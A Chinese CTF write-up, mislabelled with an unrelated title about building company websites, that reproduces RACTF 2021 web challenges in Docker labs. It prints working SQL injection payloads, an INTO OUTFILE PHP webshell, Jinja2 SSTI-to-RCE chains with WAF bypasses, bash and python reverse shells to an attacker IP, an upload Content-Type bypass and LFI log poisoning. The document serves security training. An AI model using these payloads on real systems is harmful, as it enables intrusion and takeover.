企业官网建设流程全解析

1. 复现前的核心思路与背景分析

1.1 为什么选择复现RACTF 2021的Web题目

做CTF复现这件事，很多人一开始把它当成“照着Writeup敲一遍代码”，其实大错特错。真正的复现是把一道题从黑盒变成白盒，再变成自己能独立讲清楚原理的过程。RACTF 2021的Web题目虽然难度不算顶尖，但胜在题目设计贴近真实业务场景——不是那种平地起高楼的脑洞题，而是把生产环境里常见的隐患包装成有解谜感的挑战。这一点对新手非常友好，对老手也能起到查漏补缺的作用。

RACTF全称是Really Awesome CTF，2021年那届的Web方向覆盖了SQL注入、服务端模板注入、定时攻击、文件上传、原型链污染、反序列化、SSRF等主流考点。更关键的是，它不像某些赛事喜欢出“非预期解满地跑”的题目，RACTF的大多数Web题都有明确且唯一的最佳解法路径，非常适合用来建立一套标准的Web漏洞复现方法论。

我复现这套题的目的很直接：第一，检验自己对常见漏洞的熟练度是否停留在“认识”而非“会用”；第二，把每道题的利用链拆开揉碎，整理成可复用的攻击模板；第三，为后续自己出题或做企业安全测试积累思路。如果你也想达到这三个目的中的任何一个，RACTF 2021的Web题目都是值得投入时间的训练场。

1.2 复现环境选型与准备

复现CTF题目，环境选型直接决定你的效率。我先说结论：推荐使用Docker部署靶场，配合Burp Suite作为主力流量工具，再加一套VS Code作为Payload调试环境。

Docker的优势在于隔离性和可复现性。RACTF官方在赛后公开了部分题目的源码和Dockerfile，这省去了我们从零搭建环境的大量时间。如果某道题没有官方镜像，我也会自己写Dockerfile，把题目依赖的框架版本、数据库类型、PHP或Node版本固定下来。理由很简单：Web漏洞的利用条件高度依赖运行环境，同一个Payload在PHP 5.6和PHP 8.1上的表现可能完全不同，版本不锁定，复现就是在碰运气。

关于流量工具，Burp Suite是CTF选手和渗透测试工程师的事实标准，它的Repeater功能在手工验证Payload时无可替代。但我想多说一句：别忽略浏览器开发者工具。很多初学者在复现时习惯把流量丢进Burp就不管了，实际上对于前端JS逻辑类题目，浏览器F12的Sources面板和Console才是真正的调试主战场。RACTF 2021里就有一道题需要分析前端代码中的线索，纯靠Burp反而绕远路。

另外，我需要准备一个记录用的目录结构。这是我的个人习惯，强烈建议你也这么做：

RACTF2021_Web/ ├── challenge_sources/ # 存放题目源码 ├── docker_envs/ # 各题目的Docker部署文件 ├── payloads/ # 按漏洞类型分类的Payload ├── notes/ # 每道题的复现笔记和踩坑记录 └── scripts/ # 自动化利用脚本

这个结构能让你在复现完三个月后回看时，依然能快速找到当时的思路。我见过太多人复现完就删，等于白做。

1.3 漏洞类型分布与复现优先级

RACTF 2021的Web题目，从我的统计来看，主要考点分布大概是这样的：

从复现角度，我建议优先啃SQL注入和SSTI这两类。原因是它们最能帮你建立“从输入到执行”的链路感——你会清楚地看到数据是怎么从HTTP请求流入数据库查询或模板引擎的。掌握了这两类，再看反序列化和原型链污染，你会发现它们的核心思路其实一脉相承：都是寻找“外部输入能到达危险函数”的那条路径。

顺便说一个复现时的普遍误区：不要按题号顺序刷。RACTF的题号是按提交时间排的，不是按难度排的。我按上面的优先级排序复现，三天解决了别人一周的量。你自己复现的时候，先把每道题的考点归类，再按照“简单到难、同类集中”的顺序来做，效率会高很多。

2. 工具链搭建与基础Payload模板

2.1 Docker化部署靶场的完整流程

在正式复现之前，先把靶场跑起来。这里我以RACTF 2021中一道典型的SQL注入题为例，演示完整的Docker部署流程。这道题的源码结构大致是Dockerfile加一个简单的PHP应用，数据库用的是MySQL。

首先，写Dockerfile。如果你从官方仓库拉到了现成的，直接用；如果没有，按下面这个模板改就行：

FROM php:7.4-apache # 安装PDO扩展，PHP连接MySQL必需 RUN docker-php-ext-install pdo pdo_mysql # 复制源码到Web目录 COPY ./src /var/www/html/ # 暴露80端口 EXPOSE 80

然后写一个docker-compose.yml，把Web服务和数据库串起来：

version: "3" services: web: build: . ports: - "8080:80" depends_on: - db environment: - DB_HOST=db - DB_USER=ctfuser - DB_PASS=ctfpass - DB_NAME=ctfdb db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=rootpass - MYSQL_USER=ctfuser - MYSQL_PASSWORD=ctfpass - MYSQL_DATABASE=ctfdb volumes: - ./db_init.sql:/docker-entrypoint-initdb.d/init.sql

这里有个小技巧：MySQL官方镜像会在容器首次启动时自动执行/docker-entrypoint-initdb.d/目录下的SQL脚本，所以把题目自带的建表数据放到db_init.sql里，启动后数据库就是准备好的状态，非常方便。

启动命令很简单：

docker-compose up -d

等十几秒容器完全起来后，访问http://localhost:8080就能看到题目页面了。如果访问不了，优先检查：

docker-compose logs web

大概率是端口冲突或数据库连接失败。端口冲突就把8080改成别的；数据库连接失败就检查环境变量是否写对。

2.2 各类漏洞的基础探测Payload集

复现前先把常用Payload准备好，可以少走很多弯路。我整理了一份自己的基础Payload速查表，覆盖了RACTF 2021涉猎的主要漏洞类型。这里先给出前三类：

SQL注入探测类：

' ' OR '1'='1 ' OR '1'='1' -- - ' UNION SELECT NULL,NULL,NULL -- " OR 1=1-- ' AND SLEEP(5)-- -

SSTI探测类（先测模板引擎类型，再测执行点）：

${7*7} {{7*7}} <%= 7*7 %> #{7*7} {% print 7*7 %}

命令注入探测类：

;id | id $(id) `id` %0aid

有了这些基础Payload，你在面对一道陌生题目时，第一步不再是“看代码猜逻辑”，而是直接丢Payload看回显。RACTF 2021有一道题把过滤规则写在了一个filter.php里，但只要输入' UNION SELECT NULL-- -能返回正常页面且不报错，就能立刻确认这是UNION注入了，接下来就没有必要继续试无关的Payload。

2.3 Writeup源码的“正确阅读方式”

复现绕不开Writeup，但很多人看Writeup的方式有问题。我的建议是：先不看解法，先看源码结构。

RACTF 2021的大多数Web题在赛后都开放了源码。你下载源码后，第一件事是打开目录结构，找出入口文件、路由定义、数据库操作文件、模板文件。这个过程相当于你自己在做一次白盒审计，能培养对Web应用架构的敏感度。

举个例子，如果题目是PHP写的，你就该先找index.php和config.php，看有没有全局过滤、session配置、数据库连接方式。如果题目是Python写的（Flask或Django），就该看路由装饰器和模板渲染的调用点。RACTF 2021一道SSTI题，源码里写着flask.render_template_string(user_input)，看到这一行，题目的核心考点就暴露了，后续所有复现步骤都围绕“如何构造可被Jinja2执行的模板字符串”展开。

等到自己实在卡住了，再去看Writeup。这时候你对题目已经有自己的理解，看Writeup是“验证思路”，而不是“现学思路”，两者收获天差地别。

3. 典型题目深度复现：SQL注入从探测到Getshell

3.1 注入点识别与数据库指纹判断

RACTF 2021那道SQL注入题，入口是一个商品搜索框。输入普通关键词能正常返回商品列表，但输入'时页面报出SQL语法错误，而且错误信息直接回显在了页面里。这就相当于题目亲手把注入点暴露给了你。

拿到注入点后，第一步不是急着丢Union Payload，而是先做数据库指纹判断。方法很简单：丢几条只在特定数据库下语法不同的Payload。MySQL用-- -注释、用SLEEP()做时间盲注；而PostgreSQL用--注释、用pg_sleep()。我输入' AND SLEEP(5)-- -之后等了五秒页面才返回，直接确认是MySQL。

接下来判断列数。用ORDER BY的方式比UNION SELECT更稳，因为它不要求前面SELECT的列类型匹配，报错也直观：

' ORDER BY 1-- - ' ORDER BY 2-- - ' ORDER BY 3-- -

当ORDER BY 4开始报错时，说明原查询只有3列。这个过程建议直接用Burp Repeater做，手动改数字发送，响应时间几乎为零，效率很高。

数据库指纹和列数都确认后，再补一位版本信息。这一步用UNION SELECT：

' UNION SELECT version(),2,3-- -

返回结果里出现了8.0.27字样，数据库版本也确认了。到这一步，注入的基本信息收集完毕，可以进入下一步——数据提取。

3.2 基于UNION注入的数据提取与脱库思路

我复现时遇到的一个障碍是：题目把查询结果展示成了商品卡片，页面上最多显示前二十条记录。这意味着如果直接UNION SELECT把敏感表数据塞进结果集，可能被前面的商品数据挤掉，看不到输出。

解决办法是控制原查询的结果集为空，让注入的UNION SELECT结果成为唯一显示内容。在搜索框输入一个数据库中不存在的关键词，比如zzzz，原查询自然返回空，此时UNION的部分就会顶上。

这一步的关键数据提取Payload如下：

' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()-- -

逐条把表名读出来之后，发现了一张名为users的表。继续读列名：

' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'-- -

读到了id、username、password_hash等字段。最后把记录捞出来：

' UNION SELECT username,password_hash,3 FROM users-- -

拿到了一组账号密码哈希。这里我不推荐你直接在线破解，而是先观察哈希格式——如果是$2y$开头就是bcrypt，$6$开头就是sha512crypt。RACTF这题里的哈希是bcrypt，短密码用字典跑还有希望，长密码基本只能放弃，需要另寻出路。这也是当时很多人在这一步卡住的原因——不是技术不够，而是忽略了“哈希不可破时，要寻找其他攻击面”这个思路。

3.3 从SQL注入到文件写入的利用链构建

数据提取得手后，我发现这个应用还有一个admin后台，但普通用户权限不够。就在我以为这道题到此为止时，突然想到MySQL在特定条件下是可以通过SELECT ... INTO OUTFILE把查询结果写入文件的。结合之前看到的PHP应用根目录路径，一个更深的利用链浮现了。

条件有三个：数据库账号有FILE权限、secure_file_priv未限制、Web目录有写入权限。判断第一个条件需要知道当前用户权限，SQL层可以直接问：

' UNION SELECT user(),2,3-- -

结果显示当前用户是ctfuser@%。MySQL 8.0默认给普通用户只有SELECT等基础权限，但不少CTF出题人为了方便，直接给了ALL PRIVILEGES。我试着构造写入WebShell的Payload：

' UNION SELECT '<?php system($_GET["cmd"]);?>',2,3 INTO OUTFILE '/var/www/html/shell.php'-- -

这一步需要预判Web根目录的实际路径。从之前源码里看到的/var/www/html来猜，如果实现不了就用@@datadir或@@basedir变量去探测。执行后访问http://localhost:8080/shell.php?cmd=id，如果页面输出了www-data用户的信息，说明文件写入成功。

这个链条给我们的启示是：SQL注入不能止步于“读数据”，要把思路延伸到数据库能做的其他事情上——写文件、读文件、UDT（自定义函数）调用，这些都是高风险能力的体现。

3.4 实操过程中的绕过细节与注意事项

这道题有几个容易让人翻车的细节，我记录下来供参考：

• INTO OUTFILE写入文件时，文件内容必须是字符串字面量，不能直接拼接函数计算结果。如果写入的WebShell里包含引号，要小心PHP语法和SQL字符串的嵌套转义关系。我试过用双引号包裹PHP代码，导致SQL注入点提前闭合，折腾了十几分钟才定位到问题。
• UNION SELECT的列数必须与原查询完全一致，多一列少一列都会报错。列数探测时ORDER BY和UNION SELECT各试一遍，双保险。
• MySQL 8.0对INTO OUTFILE的验证比5.7更严格，如果目标环境不是特意配置的，很可能直接报The MySQL server is running with the --secure-file-priv option。遇到这种情况，就需要考虑用general_log写文件的办法，不过那是在拥有SUPER权限时才有戏。

3.5 实战检验：RACTF 2021中该题的时间线与最终成果

我复现这道题花了大约一个半小时，时间线大致是：

• 前20分钟：信息收集，确认注入点、数据库类型、列数。
• 中间40分钟：数据提取，找到了账号信息和哈希。
• 最后30分钟：尝试INTO OUTFILE写入，调整路径和Payload，成功获取WebShell。

最终拿到的flag形式是一串ractf{...}格式的字符串。整个过程下来，我对MySQL的information_schema库结构、UNION注入的细节、INTO OUTFILE的触发条件都有了更扎实的理解。

4. Python环境下的SSTI：从模板引擎识别到RCE

4.1 引擎识别与基础语法验证

RACTF 2021的SSTI题目是一个基于Flask的简单博客系统，博客主题允许自定义模板颜色。我在颜色参数框里输入{{7*7}}，页面回显了49，这直接说明模板引擎把输入的内容当作表达式解析并执行了。由于已知是Flask环境，模板引擎锁定为Jinja2。

这里有个细节值得展开：Jinja2的{{ }}是输出表达式，{% %}是控制逻辑。如果你输入{{7*7}}能回显49，说明输入被放进了模板渲染的结果区域；如果输入{% if 1==1 %}yes{% endif %}能回显yes，说明控制逻辑也被执行了。两者的利用深度不同——前者只能做变量读取，后者才有机会做逻辑控制。

拿到SSTI入口后，第一步永远是测试对象类型。在Jinja2里，最经典的探测Payload是：

{{ config.__class__.__init__.__globals__ }}

它能直接列出当前配置对象的全局变量，里面往往包含导入的模块、密钥等敏感信息。如果这一步成功，说明SSTI的利用深度较高，可以尝试找RCE点。

4.2 Jinja2沙箱逃逸的完整利用链拆解

Jinja2本身不是安全的模板引擎，官方文档明确说明了它对不可信输入是不安全的。但实际题目中往往会有一些限制，比如过滤掉了__class__、__globals__等关键词，或者在渲染前用黑名单做了检查。

RACTF这道题没做太多过滤，所以利用链相对顺滑。我的路径是这样的：

第一步，通过config获取两个关键对象：

{{ config.__class__.__init__.__globals__ }}

结果里能看到os、sys、__builtins__等，尤其是有os模块的引用。第二步就是构造命令执行：

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

如果这一步直接在页面输出uid=33(www-data)，RCE就实现了。

但如果题目做了过滤，你就需要更高级的绕过手段。比如用|attr过滤器代替点号访问属性：

{{ config|attr('__class__')|attr('__init__')|attr('__globals__') }}

或者利用request对象从请求参数中动态取值，绕过静态字符串过滤。再或者用join拼接被过滤的关键字：

{{ config|attr('__clas'+'s__') }}

在实际做题中，这些技巧往往是按顺序递进的。我的经验法则是：先试最直接的，被过滤了再逐步增加绕过层数，每一次都确认是哪一层触发了拦截，才能精准构造下一层。

4.3 从RCE回弹Shell的可行路径

在靶场里，popen('id')能执行命令就算达成RCE了，但如果你想进一步拿下系统控制权，回弹Shell是绕不开的步骤。CTF环境的容器里可能没有nc、python、bash等工具，所以回弹方式要灵活。

优先尝试方式是反向Shell：

bash -i >& /dev/tcp/你的IP/4444 0>&1

如果容器里没有bash或者被网络策略限制，可以改用python3：

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

实际操作时需要注意，SSTI的Payload里包含大量特殊字符，URL编码是必须的。我建议先把Payload写成一个Python脚本，用requests库直接发送POST请求，这样可以免去手动URL编码的麻烦。

如果网络出网被限制，另一种思路是写WebShell到Web目录，然后通过Web界面执行命令。这种情况下，利用链又回到了“文件写入”的老路上：

{{ config.__class__.__init__.__globals__['os'].popen('echo "<?php system($_GET[\'cmd\']);?>" > /var/www/html/shell.php').read() }}

容器里如果有PHP环境，这条路会更稳。

4.4 RACTF SSTI题的变体与扩展思路

实际复现完官方题目后，我自己试了试把过滤层加上的变体，比如要求绕过__class__过滤。这时候可以直接用request.args去外部传入参数，避免在Payload中硬编码被过滤的字符串：

{{ config|attr(request.args.a)|attr(request.args.b)|attr(request.args.c) }}

然后请求时带上：

/?a=__class__&b=__init__&c=__globals__

这个思路在真实渗透测试中非常实用，因为大部分WAF只扫请求体或URL里的固定模式，你一旦把关键字符串拆分到参数中，检测规则的覆盖就失效了。CTF里练这个技巧，以后做企业安全测试时就是降维打击。

5. 文件上传与包含类题目的思路总结

5.1 客户端校验绕过与Content-Type伪造

RACTF 2021有一道文件上传题，页面用JavaScript前端校验了文件后缀，shell.php根本传不上去。这种题的本质是告诉你：永远不要相信客户端的校验。绕过方式无外乎三种：用Burp拦截后修改请求、直接禁用前端JS、用浏览器开发者工具修改校验函数。

我当时的做法是先把一个合法的jpg文件上传，同时把POST请求丢到Burp里改文件名后缀和Content-Type。把文件名从test.jpg改成test.php，Content-Type从image/jpeg改成application/octet-stream，服务器如果只校验了Content-Type，就会放行。

果不其然，后端只检查了$_FILES['file']['type']是否以image/开头，而被Burp改过的数据包直接绕过了这层检查。上传成功后访问/uploads/test.php，执行了phpinfo()，完成了第一阶段的突破。

这里的关键是在Payload里保留合法图片文件头，比如在test.php前面加上GIF89a或者FF D8 FF E0，以防后端用getimagesize()或finfo_file()读取文件头做校验。RACTF这题没这层校验，但真实环境里大概率有，准备工作要做足。

5.2 二次渲染攻击：一种更隐蔽的文件上传利用

如果你遇到的文件上传把图片重新生成一遍，原来的Payload会丢失，那么可以尝试“图片马”策略。其核心是：提前把PHP代码插入到图片的元数据或者不被二次渲染破坏的区域，比如EXIF信息里。

实际操作是先把正常图片上传，下载回来，对比原图和新图的文件差异。如果两次渲染只改了图片像素数据，那就可以把Payload插在文件末尾的注释区，或者EXIF字段里。之后利用文件包含漏洞去包含这个“图片马”，PHP代码就会被执行。

RACTF那道文件上传题没有二次渲染，但我在复现笔记中专门补充了这个思路，因为这是真实业务中文件上传漏洞利用的常考形态。

5.3 文件包含配合临时文件实现RCE

另一道文件包含题，入口是?page=about.php，明显是本地文件包含（LFI）。通过?page=../../../../etc/passwd成功读到系统密码文件后，接下来想到的是包含日志文件。

Apache的访问日志路径通常是/var/log/apache2/access.log，我往User-Agent里塞了一段PHP代码，然后去包含日志文件。因为日志会把User-Agent原样记录下来，所以包含时这段代码会被PHP解析执行，从而实现RCE。

这个技巧的坑在于：日志体积可能很大，包含时页面响应会很慢；而且日志条目多，代码可能被截断在中间。解决办法是先用?page=/var/log/apache2/access.log试包含，再往日志里写入极短的Payload，比如<?php system($_GET['c']); ?>，然后访问?page=/var/log/apache2/access.log&c=id。

我最终通过这种方式拿到了题目flag，也学会了LFI类题目的通用打法：先读系统文件验证包含存在，再找可写入日志或session文件的位置，最后实现代码执行。

5.4 上传与包含的联合利用场景复盘

复盘时我把两道上传题和包含题放一起看，发现它们的本质是同一个思路：寻找服务器上“可写入且可执行”的位置。

如果是纯上传题，那个位置就是uploads/目录；如果是纯包含题，那个位置就是日志文件或session文件；如果是上传加包含的组合题，那个位置就是伪装成图片的PHP文件。

联合利用的好处是可以交叉验证。比如上传题里拿到了图片马但直接访问不解析，配合包含题就能把图片马“激活”。我在复现RACTF题目的过程中体会很深：多学一种漏洞，只是多了一种手段；能把多个漏洞串成一条链，才是Web安全的核心能力。

6. 高频踩坑点与排查技巧实录

6.1 环境相关的经典报错与对策

复现CTF Web题，心态通常不是被难题击垮的，而是被环境问题拖垮的。我整理了这段时间遇见频率最高的几类问题，连同对策写在这里：

6.2 Payload不生效时的分层排查方法

我遇到过最尴尬的情况是：Payload在本地验证有效，打远程却无效。这时候一定不要慌，按顺序排查：

• 第一层：确认目标是不是真的打了这个漏洞点。有回显的看回显，没回显的用时间延迟或DNSlog来确认。如果连时间延迟都没有，除非是盲注，否则基本就是没打到点子上。
• 第二层：确认有没有过滤。把输入的'分别试单引号、双引号、反斜杠，看回显差异。如果单引号被转义成\'，说明开了addslashes或类似过滤函数。
• 第三层：确认你的Payload是否被编码问题破坏。URL编码、Unicode编码、HTML实体编码都会让Payload看起来一样，实际到后端却变了样。用Burp的Repeater逐字节检查发送的数据包最稳妥。
• 第四层：确认目标组件版本。同一个漏洞在不同版本上的利用代码可能完全不同。RACTF这道SSTI题在Flask 2.0上能用的Payload，放到Flask 1.1上可能报错，因为部分内部对象名称变了。

这个顺序是我踩了无数次坑之后总结出来的。一开始我做题总是急于换新的工具或新的脚本，后来发现90%的问题就出在前两层，压根没到换工具那一步。

6.3 复现笔记模版：让每次复现都沉淀出经验

最后分享一个我觉得对长期提升最有帮助的习惯：每次复现完一道题，按下面的模板写笔记。不是为了给别人看，而是为了给三个月后的自己看。

题目名称： 考点类型： 难度评级（1-5）： 利用链概览： - 入口： - 关键步骤： - 获取flag的命令/操作： 踩坑记录： - 问题1及原因： - 问题2及原因： 对比官方Writeup的差异： - 我没想到/没做到的点： 可迁移的技巧（下次在其他场景能用上的）：

我用这个模板做了RACTF 2021全部Web题目的笔记，回头看收获非常大。尤其是“可迁移的技巧”这一栏，后续出题或做测试时直接翻笔记找思路，比重新查文档高效太多。

复现RACTF 2021 Web题目的整个过程，我的感受是：CTF题目放大了真实世界里的攻击场景，但真实的业务系统往往没有“flag”这样明确的最终目标，更多时候是靠一点一点的信息积累和链路拼接来验证风险。多复现几套比赛题目，不只是为了刷题量，更是为了在面对一个陌生系统时，脑子里能本能的浮现出“该从哪里入手、下一步试什么、哪里可能藏着突破点”的大致地图。这套从RACTF里练出来的直觉，我后面做实际项目时受益很多。